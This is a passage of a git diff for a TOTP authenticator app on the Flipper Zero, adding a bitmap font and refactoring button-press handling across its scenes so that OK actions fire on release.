+ 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x91, + 0x00, + 0xA1, + 0x00, + 0xC2, + 0x00, + 0xBC, + 0x00, + + /* @736 'R' (9 pixels wide) */ + 0x3F, + 0x00, + 0x41, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x41, + 0x00, + 0x3F, + 0x00, + 0x03, + 0x00, + 0x05, + 0x00, + 0x09, + 0x00, + 0x11, + 0x00, + 0x21, + 0x00, + 0x41, + 0x00, + 0x81, + 0x00, + + /* @768 'T' (9 pixels wide) */ + 0xFF, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + + /* @800 'V' (9 pixels wide) */ + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x82, + 0x00, + 0x42, + 0x00, + 0x44, + 0x00, + 0x24, + 0x00, + 0x28, + 0x00, + 0x18, + 0x00, + 0x10, + 0x00, + + /* @832 'W' (9 pixels wide) */ + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x91, + 0x00, + 0x91, + 0x00, + 0x99, + 0x00, + 0xA9, + 0x00, + 0xA5, + 0x00, + 0xC5, + 0x00, + 0x83, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + + /* @864 'X' (9 pixels wide) */ + 0x81, + 0x00, + 0x82, + 0x00, + 0x82, + 0x00, + 0x44, + 0x00, + 0x44, + 0x00, + 0x28, + 0x00, + 0x28, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x28, + 0x00, + 0x28, + 0x00, + 0x44, + 0x00, + 0x44, + 0x00, + 0x82, + 0x00, + 0x82, + 0x00, + 0x81, + 0x00, + + /* @896 'Y' (9 pixels wide) */ + 0x81, + 0x00, + 0x82, + 0x00, + 0x82, + 0x00, + 0x44, + 0x00, + 0x44, + 0x00, + 0x28, + 0x00, + 0x28, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, +}; + +/* Character descriptors for Zector 18pt */ +/* { [Char width in bits], [Offset into zector_18ptCharBitmaps in bytes] } */ +const FONT_CHAR_INFO zector_18ptDescriptors[] = { + {9, 0}, /* - */ + {0, 0}, /* . */ + {0, 0}, /* / */ + {9, 32}, /* 0 */ + {9, 64}, /* 1 */ + {9, 96}, /* 2 */ + {9, 128}, /* 3 */ + {9, 160}, /* 4 */ + {9, 192}, /* 5 */ + {9, 224}, /* 6 */ + {9, 256}, /* 7 */ + {9, 288}, /* 8 */ + {9, 320}, /* 9 */ + {0, 0}, /* : */ + {0, 0}, /* ; */ + {0, 0}, /* < */ + {0, 0}, /* = */ + {0, 0}, /* > */ + {0, 0}, /* ? */ + {0, 0}, /* @ */ + {0, 0}, /* A */ + {9, 352}, /* B */ + {9, 384}, /* C */ + {9, 416}, /* D */ + {0, 0}, /* E */ + {9, 448}, /* F */ + {9, 480}, /* G */ + {9, 512}, /* H */ + {0, 0}, /* I */ + {9, 544}, /* J */ + {9, 576}, /* K */ + {0, 0}, /* L */ + {9, 608}, /* M */ + {9, 640}, /* N */ + {0, 0}, /* O */ + {9, 672}, /* P */ + {9, 704}, /* Q */ + {9, 736}, /* R */ + {0, 0}, /* S */ + {9, 768}, /* T */ + {0, 0}, /* U */ + {9, 800}, /* V */ + {9, 832}, /* W */ + {9, 864}, /* X */ + {9, 896}, /* Y */ +}; + +/* Font information for Zector 18pt */ +const FONT_INFO zector_18ptFontInfo = { + 16, /* Character height */ + '-', /* Start character */ + 'Y', /* End character */ + 2, /* Width, in pixels, of space character */ + zector_18ptDescriptors, /* Character descriptor array */ + zector_18ptBitmaps, /* Character bitmap array */ +}; diff --git a/applications/external/totp/ui/fonts/zector/zector.h b/applications/external/totp/ui/fonts/zector/zector.h new file mode 100644 index 000000000..2a5cf5907 --- /dev/null +++ b/applications/external/totp/ui/fonts/zector/zector.h @@ -0,0 +1,8 @@ +#pragma once + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +#include "../font_info.h" + +/* Font information for Zector 18pt */ +extern const FONT_INFO zector_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c index bbe0b7726..5eb1231d9 100644 --- a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c +++ b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c @@ -29,7 +29,7 @@ void view_unlock_model(View* view) { static void commit_text_input_callback(void* context) { InputTextSceneState* text_input_state = (InputTextSceneState*)context; - if(text_input_state->callback != 0) { + if(text_input_state->callback != NULL) { InputTextSceneCallbackResult* result = malloc(sizeof(InputTextSceneCallbackResult)); furi_check(result != NULL); result->user_input_length = diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c index d525e3399..327185cf7 100644 --- a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c +++ b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c @@ -36,7 +36,7 @@ typedef struct { InputTextSceneContext* token_name_input_context; InputTextSceneContext* token_secret_input_context; InputTextSceneState* input_state; - uint32_t input_started_at; + bool text_input_mode; int16_t screen_y_offset; TokenHashAlgo algo; uint8_t digits_count_index; @@ -56,7 +56,7 @@ static void on_token_name_user_comitted(InputTextSceneCallbackResult* result) { free(scene_state->token_name); scene_state->token_name = result->user_input; scene_state->token_name_length = result->user_input_length; - scene_state->input_started_at = 0; + scene_state->text_input_mode = false; free(result); } @@ -65,7 +65,7 @@ static void on_token_secret_user_comitted(InputTextSceneCallbackResult* result) free(scene_state->token_secret); scene_state->token_secret = result->user_input; scene_state->token_secret_length = result->user_input_length; - scene_state->input_started_at = 0; + scene_state->text_input_mode = false; free(result); } @@ -127,8 +127,8 @@ void totp_scene_add_new_token_activate(PluginState* plugin_state) { } void totp_scene_add_new_token_render(Canvas* const canvas, PluginState* plugin_state) { - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(scene_state->input_started_at > 0) { + SceneState* scene_state = plugin_state->current_scene_state; + if(scene_state->text_input_mode) { totp_input_text_render(canvas, scene_state->input_state); return; } @@ -200,63 +200,81 @@ bool totp_scene_add_new_token_handle_event(PluginEvent* const event, PluginState return true; } - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(scene_state->input_started_at > 0 && - furi_get_tick() - scene_state->input_started_at > 300) { + SceneState* scene_state = plugin_state->current_scene_state; + + if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { + if(scene_state->text_input_mode) { + scene_state->text_input_mode = false; + } else { + return false; + } + } + + if(scene_state->text_input_mode) { + if(event->input.type == InputTypeShort && event->input.key == InputKeyBack) { + PluginEvent long_back_cb_evt = { + .type = event->type, .input.key = InputKeyBack, .input.type = InputTypeLong}; + return totp_input_text_handle_event(&long_back_cb_evt, scene_state->input_state); + } + return totp_input_text_handle_event(event, scene_state->input_state); } - if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { - return false; - } - - if(event->input.type != InputTypePress) { - return true; - } - - switch(event->input.key) { - case InputKeyUp: - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - TokenNameTextBox, - ConfirmButton, - RollOverflowBehaviorStop); - update_screen_y_offset(scene_state); - break; - case InputKeyDown: - totp_roll_value_uint8_t( - &scene_state->selected_control, - 1, - TokenNameTextBox, - ConfirmButton, - RollOverflowBehaviorStop); - update_screen_y_offset(scene_state); - break; - case InputKeyRight: - if(scene_state->selected_control == TokenAlgoSelect) { - totp_roll_value_uint8_t(&scene_state->algo, 1, SHA1, STEAM, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenLengthSelect) { + if(event->input.type == InputTypePress) { + switch(event->input.key) { + case InputKeyUp: totp_roll_value_uint8_t( - &scene_state->digits_count_index, 1, 0, 2, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenDurationSelect) { - totp_roll_value_uint8_t(&scene_state->duration, 15, 15, 255, RollOverflowBehaviorStop); - update_duration_text(scene_state); + &scene_state->selected_control, + -1, + TokenNameTextBox, + ConfirmButton, + RollOverflowBehaviorStop); + update_screen_y_offset(scene_state); + break; + case InputKeyDown: + totp_roll_value_uint8_t( + &scene_state->selected_control, + 1, + TokenNameTextBox, + ConfirmButton, + RollOverflowBehaviorStop); + update_screen_y_offset(scene_state); + break; + case InputKeyRight: + if(scene_state->selected_control == TokenAlgoSelect) { + totp_roll_value_uint8_t( + &scene_state->algo, 1, SHA1, STEAM, RollOverflowBehaviorRoll); + } else if(scene_state->selected_control == TokenLengthSelect) { + totp_roll_value_uint8_t( + &scene_state->digits_count_index, 1, 0, 2, RollOverflowBehaviorRoll); + } else if(scene_state->selected_control == TokenDurationSelect) { + totp_roll_value_uint8_t( + &scene_state->duration, 15, 15, 255, RollOverflowBehaviorStop); + update_duration_text(scene_state); + } + break; + case InputKeyLeft: + if(scene_state->selected_control == TokenAlgoSelect) { + totp_roll_value_uint8_t( + &scene_state->algo, -1, SHA1, STEAM, RollOverflowBehaviorRoll); + } else if(scene_state->selected_control == TokenLengthSelect) { + totp_roll_value_uint8_t( + &scene_state->digits_count_index, -1, 0, 2, RollOverflowBehaviorRoll); + } else if(scene_state->selected_control == TokenDurationSelect) { + totp_roll_value_uint8_t( + &scene_state->duration, -15, 15, 255, RollOverflowBehaviorStop); + update_duration_text(scene_state); + } + break; + case InputKeyOk: + break; + case InputKeyBack: + totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); + break; + default: + break; } - break; - case InputKeyLeft: - if(scene_state->selected_control == TokenAlgoSelect) { - totp_roll_value_uint8_t(&scene_state->algo, -1, SHA1, STEAM, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenLengthSelect) { - totp_roll_value_uint8_t( - &scene_state->digits_count_index, -1, 0, 2, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenDurationSelect) { - totp_roll_value_uint8_t( - &scene_state->duration, -15, 15, 255, RollOverflowBehaviorStop); - update_duration_text(scene_state); - } - break; - case InputKeyOk: + } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { switch(scene_state->selected_control) { case TokenNameTextBox: if(scene_state->input_state != NULL) { @@ -264,7 +282,8 @@ bool totp_scene_add_new_token_handle_event(PluginEvent* const event, PluginState } scene_state->input_state = totp_input_text_activate(scene_state->token_name_input_context); - scene_state->input_started_at = furi_get_tick(); + + scene_state->text_input_mode = true; break; case TokenSecretTextBox: if(scene_state->input_state != NULL) { @@ -272,7 +291,8 @@ bool totp_scene_add_new_token_handle_event(PluginEvent* const event, PluginState } scene_state->input_state = totp_input_text_activate(scene_state->token_secret_input_context); - scene_state->input_started_at = furi_get_tick(); + + scene_state->text_input_mode = true; break; case TokenAlgoSelect: break; @@ -313,12 +333,6 @@ bool totp_scene_add_new_token_handle_event(PluginEvent* const event, PluginState default: break; } - break; - case InputKeyBack: - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - break; - default: - break; } return true; diff --git a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c index 6dcf0dbc9..54659946d 100644 --- a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c +++ b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c @@ -60,17 +60,17 @@ void totp_scene_app_settings_activate(PluginState* plugin_state) { } static void two_digit_to_str(int8_t num, char* str) { - uint8_t index = 0; + char* s = str; if(num < 0) { - str[index++] = '-'; + *(s++) = '-'; num = -num; } uint8_t d1 = (num / 10) % 10; uint8_t d2 = num % 10; - str[index++] = CONVERT_DIGIT_TO_CHAR(d1); - str[index++] = CONVERT_DIGIT_TO_CHAR(d2); - str[index++] = '\0'; + *(s++) = CONVERT_DIGIT_TO_CHAR(d1); + *(s++) = CONVERT_DIGIT_TO_CHAR(d2); + *(s++) = '\0'; } void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plugin_state) { @@ -183,116 +183,117 @@ bool totp_scene_app_settings_handle_event( } SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(event->input.type != InputTypePress && event->input.type != InputTypeRepeat) { - return true; - } - - switch(event->input.key) { - case InputKeyUp: - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - HoursInput, - ConfirmButton, - RollOverflowBehaviorStop); - if(scene_state->selected_control > Vibro) { - scene_state->y_offset = 128; - } else if(scene_state->selected_control > MinutesInput) { - scene_state->y_offset = 64; - } else { - scene_state->y_offset = 0; - } - break; - case InputKeyDown: - totp_roll_value_uint8_t( - &scene_state->selected_control, 1, HoursInput, ConfirmButton, RollOverflowBehaviorStop); - if(scene_state->selected_control > Vibro) { - scene_state->y_offset = 128; - } else if(scene_state->selected_control > MinutesInput) { - scene_state->y_offset = 64; - } else { - scene_state->y_offset = 0; - } - break; - case InputKeyRight: - if(scene_state->selected_control == HoursInput) { - totp_roll_value_int8_t( - &scene_state->tz_offset_hours, 1, -12, 12, RollOverflowBehaviorStop); - } else if(scene_state->selected_control == MinutesInput) { + if(event->input.type == InputTypePress || event->input.type == InputTypeRepeat) { + switch(event->input.key) { + case InputKeyUp: totp_roll_value_uint8_t( - &scene_state->tz_offset_minutes, 15, 0, 45, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == Sound) { - scene_state->notification_sound = !scene_state->notification_sound; - } else if(scene_state->selected_control == Vibro) { - scene_state->notification_vibro = !scene_state->notification_vibro; - } else if(scene_state->selected_control == BadUsb) { - scene_state->badusb_enabled = !scene_state->badusb_enabled; - } -#ifdef TOTP_BADBT_TYPE_ENABLED - else if(scene_state->selected_control == BadBt) { - scene_state->badbt_enabled = !scene_state->badbt_enabled; - } -#endif - break; - case InputKeyLeft: - if(scene_state->selected_control == HoursInput) { - totp_roll_value_int8_t( - &scene_state->tz_offset_hours, -1, -12, 12, RollOverflowBehaviorStop); - } else if(scene_state->selected_control == MinutesInput) { - totp_roll_value_uint8_t( - &scene_state->tz_offset_minutes, -15, 0, 45, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == Sound) { - scene_state->notification_sound = !scene_state->notification_sound; - } else if(scene_state->selected_control == Vibro) { - scene_state->notification_vibro = !scene_state->notification_vibro; - } else if(scene_state->selected_control == BadUsb) { - scene_state->badusb_enabled = !scene_state->badusb_enabled; - } -#ifdef TOTP_BADBT_TYPE_ENABLED - else if(scene_state->selected_control == BadBt) { - scene_state->badbt_enabled = !scene_state->badbt_enabled; - } -#endif - break; - case InputKeyOk: - if(scene_state->selected_control == ConfirmButton) { - plugin_state->timezone_offset = (float)scene_state->tz_offset_hours + - (float)scene_state->tz_offset_minutes / 60.0f; - - plugin_state->notification_method = - (scene_state->notification_sound ? NotificationMethodSound : - NotificationMethodNone) | - (scene_state->notification_vibro ? NotificationMethodVibro : - NotificationMethodNone); - - plugin_state->automation_method = - scene_state->badusb_enabled ? AutomationMethodBadUsb : AutomationMethodNone; -#ifdef TOTP_BADBT_TYPE_ENABLED - plugin_state->automation_method |= scene_state->badbt_enabled ? AutomationMethodBadBt : - AutomationMethodNone; -#endif - - if(!totp_config_file_update_user_settings(plugin_state)) { - totp_dialogs_config_updating_error(plugin_state); - return false; + &scene_state->selected_control, + -1, + HoursInput, + ConfirmButton, + RollOverflowBehaviorStop); + if(scene_state->selected_control > Vibro) { + scene_state->y_offset = 128; + } else if(scene_state->selected_control > MinutesInput) { + scene_state->y_offset = 64; + } else { + scene_state->y_offset = 0; + } + break; + case InputKeyDown: + totp_roll_value_uint8_t( + &scene_state->selected_control, + 1, + HoursInput, + ConfirmButton, + RollOverflowBehaviorStop); + if(scene_state->selected_control > Vibro) { + scene_state->y_offset = 128; + } else if(scene_state->selected_control > MinutesInput) { + scene_state->y_offset = 64; + } else { + scene_state->y_offset = 0; + } + break; + case InputKeyRight: + if(scene_state->selected_control == HoursInput) { + totp_roll_value_int8_t( + &scene_state->tz_offset_hours, 1, -12, 12, RollOverflowBehaviorStop); + } else if(scene_state->selected_control == MinutesInput) { + totp_roll_value_uint8_t( + &scene_state->tz_offset_minutes, 15, 0, 45, RollOverflowBehaviorRoll); + } else if(scene_state->selected_control == Sound) { + scene_state->notification_sound = !scene_state->notification_sound; + } else if(scene_state->selected_control == Vibro) { + scene_state->notification_vibro = !scene_state->notification_vibro; + } else if(scene_state->selected_control == BadUsb) { + scene_state->badusb_enabled = !scene_state->badusb_enabled; } - #ifdef TOTP_BADBT_TYPE_ENABLED - if(!scene_state->badbt_enabled && plugin_state->bt_type_code_worker_context != NULL) { - totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); - plugin_state->bt_type_code_worker_context = NULL; + else if(scene_state->selected_control == BadBt) { + scene_state->badbt_enabled = !scene_state->badbt_enabled; } #endif - + break; + case InputKeyLeft: + if(scene_state->selected_control == HoursInput) { + totp_roll_value_int8_t( + &scene_state->tz_offset_hours, -1, -12, 12, RollOverflowBehaviorStop); + } else if(scene_state->selected_control == MinutesInput) { + totp_roll_value_uint8_t( + &scene_state->tz_offset_minutes, -15, 0, 45, RollOverflowBehaviorRoll); + } else if(scene_state->selected_control == Sound) { + scene_state->notification_sound = !scene_state->notification_sound; + } else if(scene_state->selected_control == Vibro) { + scene_state->notification_vibro = !scene_state->notification_vibro; + } else if(scene_state->selected_control == BadUsb) { + scene_state->badusb_enabled = !scene_state->badusb_enabled; + } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(scene_state->selected_control == BadBt) { + scene_state->badbt_enabled = !scene_state->badbt_enabled; + } +#endif + break; + case InputKeyOk: + break; + case InputKeyBack: { totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); + break; } - break; - case InputKeyBack: { + default: + break; + } + } else if( + event->input.type == InputTypeRelease && event->input.key == InputKeyOk && + scene_state->selected_control == ConfirmButton) { + plugin_state->timezone_offset = + (float)scene_state->tz_offset_hours + (float)scene_state->tz_offset_minutes / 60.0f; + + plugin_state->notification_method = + (scene_state->notification_sound ? NotificationMethodSound : NotificationMethodNone) | + (scene_state->notification_vibro ? NotificationMethodVibro : NotificationMethodNone); + + plugin_state->automation_method = scene_state->badusb_enabled ? AutomationMethodBadUsb : + AutomationMethodNone; +#ifdef TOTP_BADBT_TYPE_ENABLED + plugin_state->automation_method |= scene_state->badbt_enabled ? AutomationMethodBadBt : + AutomationMethodNone; +#endif + + if(!totp_config_file_update_user_settings(plugin_state)) { + totp_dialogs_config_updating_error(plugin_state); + return false; + } + +#ifdef TOTP_BADBT_TYPE_ENABLED + if(!scene_state->badbt_enabled && plugin_state->bt_type_code_worker_context != NULL) { + totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - break; - } - default: - break; } return true; diff --git a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c index 86e1e8e2b..218e5e397 100644 --- a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c +++ b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c @@ -83,38 +83,45 @@ bool totp_scene_authenticate_handle_event( return false; } - if(event->input.type != InputTypePress) { - return true; - } - - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - - switch(event->input.key) { - case InputKeyUp: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowUp; - scene_state->code_length++; + SceneState* scene_state = plugin_state->current_scene_state; + if(event->input.type == InputTypePress) { + switch(event->input.key) { + case InputKeyUp: + if(scene_state->code_length < MAX_CODE_LENGTH) { + scene_state->code_input[scene_state->code_length] = PinCodeArrowUp; + scene_state->code_length++; + } + break; + case InputKeyDown: + if(scene_state->code_length < MAX_CODE_LENGTH) { + scene_state->code_input[scene_state->code_length] = PinCodeArrowDown; + scene_state->code_length++; + } + break; + case InputKeyRight: + if(scene_state->code_length < MAX_CODE_LENGTH) { + scene_state->code_input[scene_state->code_length] = PinCodeArrowRight; + scene_state->code_length++; + } + break; + case InputKeyLeft: + if(scene_state->code_length < MAX_CODE_LENGTH) { + scene_state->code_input[scene_state->code_length] = PinCodeArrowLeft; + scene_state->code_length++; + } + break; + case InputKeyOk: + break; + case InputKeyBack: + if(scene_state->code_length > 0) { + scene_state->code_input[scene_state->code_length - 1] = 0; + scene_state->code_length--; + } + break; + default: + break; } - break; - case InputKeyDown: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowDown; - scene_state->code_length++; - } - break; - case InputKeyRight: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowRight; - scene_state->code_length++; - } - break; - case InputKeyLeft: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowLeft; - scene_state->code_length++; - } - break; - case InputKeyOk: { + } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { CryptoSeedIVResult seed_result = totp_crypto_seed_iv( plugin_state, &scene_state->code_input[0], scene_state->code_length); @@ -145,16 +152,6 @@ bool totp_scene_authenticate_handle_event( dialog_message_show(plugin_state->dialogs_app, message); dialog_message_free(message); } - break; - } - case InputKeyBack: - if(scene_state->code_length > 0) { - scene_state->code_input[scene_state->code_length - 1] = 0; - scene_state->code_length--; - } - break; - default: - break; } return true; diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c index b111242dc..9b7b282d6 100644 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c @@ -16,7 +16,7 @@ #ifdef TOTP_BADBT_TYPE_ENABLED #include "../../../workers/bt_type_code/bt_type_code.h" #endif -#include "../../fonts/mode-nine/mode_nine.h" +#include "../../fonts/active_font.h" #define PROGRESS_BAR_MARGIN (3) #define PROGRESS_BAR_HEIGHT (4) @@ -142,19 +142,19 @@ static void draw_totp_code(Canvas* const canvas, const PluginState* const plugin totp_config_get_token_iterator_context(plugin_state); uint8_t code_length = totp_token_info_iterator_get_current_token(iterator_context)->digits; uint8_t offset_x = scene_state->ui_precalculated_dimensions.code_offset_x; - uint8_t char_width = modeNine_15ptFontInfo.charInfo[0].width; + uint8_t char_width = TOTP_CODE_FONT_INFO.charInfo[0].width; uint8_t offset_x_inc = scene_state->ui_precalculated_dimensions.code_offset_x_inc; for(uint8_t i = 0; i < code_length; i++) { char ch = scene_state->last_code[i]; - if(ch >= modeNine_15ptFontInfo.startChar && ch <= modeNine_15ptFontInfo.endChar) { - uint8_t char_index = ch - modeNine_15ptFontInfo.startChar; + if(ch >= TOTP_CODE_FONT_INFO.startChar && ch <= TOTP_CODE_FONT_INFO.endChar) { + uint8_t char_index = ch - TOTP_CODE_FONT_INFO.startChar; canvas_draw_xbm( canvas, offset_x, scene_state->ui_precalculated_dimensions.code_offset_y, char_width, - modeNine_15ptFontInfo.height, - &modeNine_15ptFontInfo.data[modeNine_15ptFontInfo.charInfo[char_index].offset]); + TOTP_CODE_FONT_INFO.height, + &TOTP_CODE_FONT_INFO.data[TOTP_CODE_FONT_INFO.charInfo[char_index].offset]); } offset_x += offset_x_inc; @@ -172,15 +172,15 @@ static void on_new_token_code_generated(bool time_left, void* context) { SceneState* scene_state = plugin_state->current_scene_state; const TokenInfo* current_token = totp_token_info_iterator_get_current_token(iterator_context); - uint8_t char_width = modeNine_15ptFontInfo.charInfo[0].width; + uint8_t char_width = TOTP_CODE_FONT_INFO.charInfo[0].width; scene_state->ui_precalculated_dimensions.code_total_length = - current_token->digits * (char_width + modeNine_15ptFontInfo.spacePixels); + current_token->digits * (char_width + TOTP_CODE_FONT_INFO.spacePixels); scene_state->ui_precalculated_dimensions.code_offset_x = (SCREEN_WIDTH - scene_state->ui_precalculated_dimensions.code_total_length) >> 1; scene_state->ui_precalculated_dimensions.code_offset_x_inc = - char_width + modeNine_15ptFontInfo.spacePixels; + char_width + TOTP_CODE_FONT_INFO.spacePixels; scene_state->ui_precalculated_dimensions.code_offset_y = - SCREEN_HEIGHT_CENTER - (modeNine_15ptFontInfo.height >> 1); + SCREEN_HEIGHT_CENTER - (TOTP_CODE_FONT_INFO.height >> 1); if(time_left) { notification_message( @@ -381,54 +381,51 @@ bool totp_scene_generate_token_handle_event( return true; } #endif - } + } else if(event->input.type == InputTypePress || event->input.type == InputTypeRepeat) { + switch(event->input.key) { + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyRight: { + const TokenInfoIteratorContext* iterator_context = + totp_config_get_token_iterator_context(plugin_state); + size_t current_token_index = + totp_token_info_iterator_get_current_token_index(iterator_context); + totp_roll_value_size_t( + ¤t_token_index, + 1, + 0, + totp_token_info_iterator_get_total_count(iterator_context) - 1, + RollOverflowBehaviorRoll); - if(event->input.type != InputTypePress && event->input.type != InputTypeRepeat) { - return true; - } + update_totp_params(plugin_state, current_token_index); + break; + } + case InputKeyLeft: { + const TokenInfoIteratorContext* iterator_context = + totp_config_get_token_iterator_context(plugin_state); + size_t current_token_index = + totp_token_info_iterator_get_current_token_index(iterator_context); + totp_roll_value_size_t( + ¤t_token_index, + -1, + 0, + totp_token_info_iterator_get_total_count(iterator_context) - 1, + RollOverflowBehaviorRoll); - switch(event->input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t current_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_roll_value_size_t( - ¤t_token_index, - 1, - 0, - totp_token_info_iterator_get_total_count(iterator_context) - 1, - RollOverflowBehaviorRoll); - - update_totp_params(plugin_state, current_token_index); - break; - } - case InputKeyLeft: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t current_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_roll_value_size_t( - ¤t_token_index, - -1, - 0, - totp_token_info_iterator_get_total_count(iterator_context) - 1, - RollOverflowBehaviorRoll); - - update_totp_params(plugin_state, current_token_index); - break; - } - case InputKeyOk: + update_totp_params(plugin_state, current_token_index); + break; + } + case InputKeyOk: + break; + case InputKeyBack: + break; + default: + break; + } + } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - break; - case InputKeyBack: - break; - default: - break; } return true; diff --git a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c index a8c8de28a..1340b5a8e 100644 --- a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c +++ b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c @@ -82,38 +82,52 @@ bool totp_scene_token_menu_handle_event(const PluginEvent* const event, PluginSt } SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(event->input.type != InputTypePress) { - return true; - } - - switch(event->input.key) { - case InputKeyUp: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_roll_value_uint8_t( - &scene_state->selected_control, -1, AddNewToken, AppSettings, RollOverflowBehaviorRoll); - if(scene_state->selected_control == DeleteToken && - totp_token_info_iterator_get_total_count(iterator_context) == 0) { - scene_state->selected_control--; + if(event->input.type == InputTypePress) { + switch(event->input.key) { + case InputKeyUp: { + const TokenInfoIteratorContext* iterator_context = + totp_config_get_token_iterator_context(plugin_state); + totp_roll_value_uint8_t( + &scene_state->selected_control, + -1, + AddNewToken, + AppSettings, + RollOverflowBehaviorRoll); + if(scene_state->selected_control == DeleteToken && + totp_token_info_iterator_get_total_count(iterator_context) == 0) { + scene_state->selected_control--; + } + break; } - break; - } - case InputKeyDown: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_roll_value_uint8_t( - &scene_state->selected_control, 1, AddNewToken, AppSettings, RollOverflowBehaviorRoll); - if(scene_state->selected_control == DeleteToken && - totp_token_info_iterator_get_total_count(iterator_context) == 0) { - scene_state->selected_control++; + case InputKeyDown: { + const TokenInfoIteratorContext* iterator_context = + totp_config_get_token_iterator_context(plugin_state); + totp_roll_value_uint8_t( + &scene_state->selected_control, + 1, + AddNewToken, + AppSettings, + RollOverflowBehaviorRoll); + if(scene_state->selected_control == DeleteToken && + totp_token_info_iterator_get_total_count(iterator_context) == 0) { + scene_state->selected_control++; + } + break; } - break; - } - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: + case InputKeyRight: + break; + case InputKeyLeft: + break; + case InputKeyOk: + break; + case InputKeyBack: { + totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); + break; + } + default: + break; + } + } else if(event->input.type == InputTypeRelease && 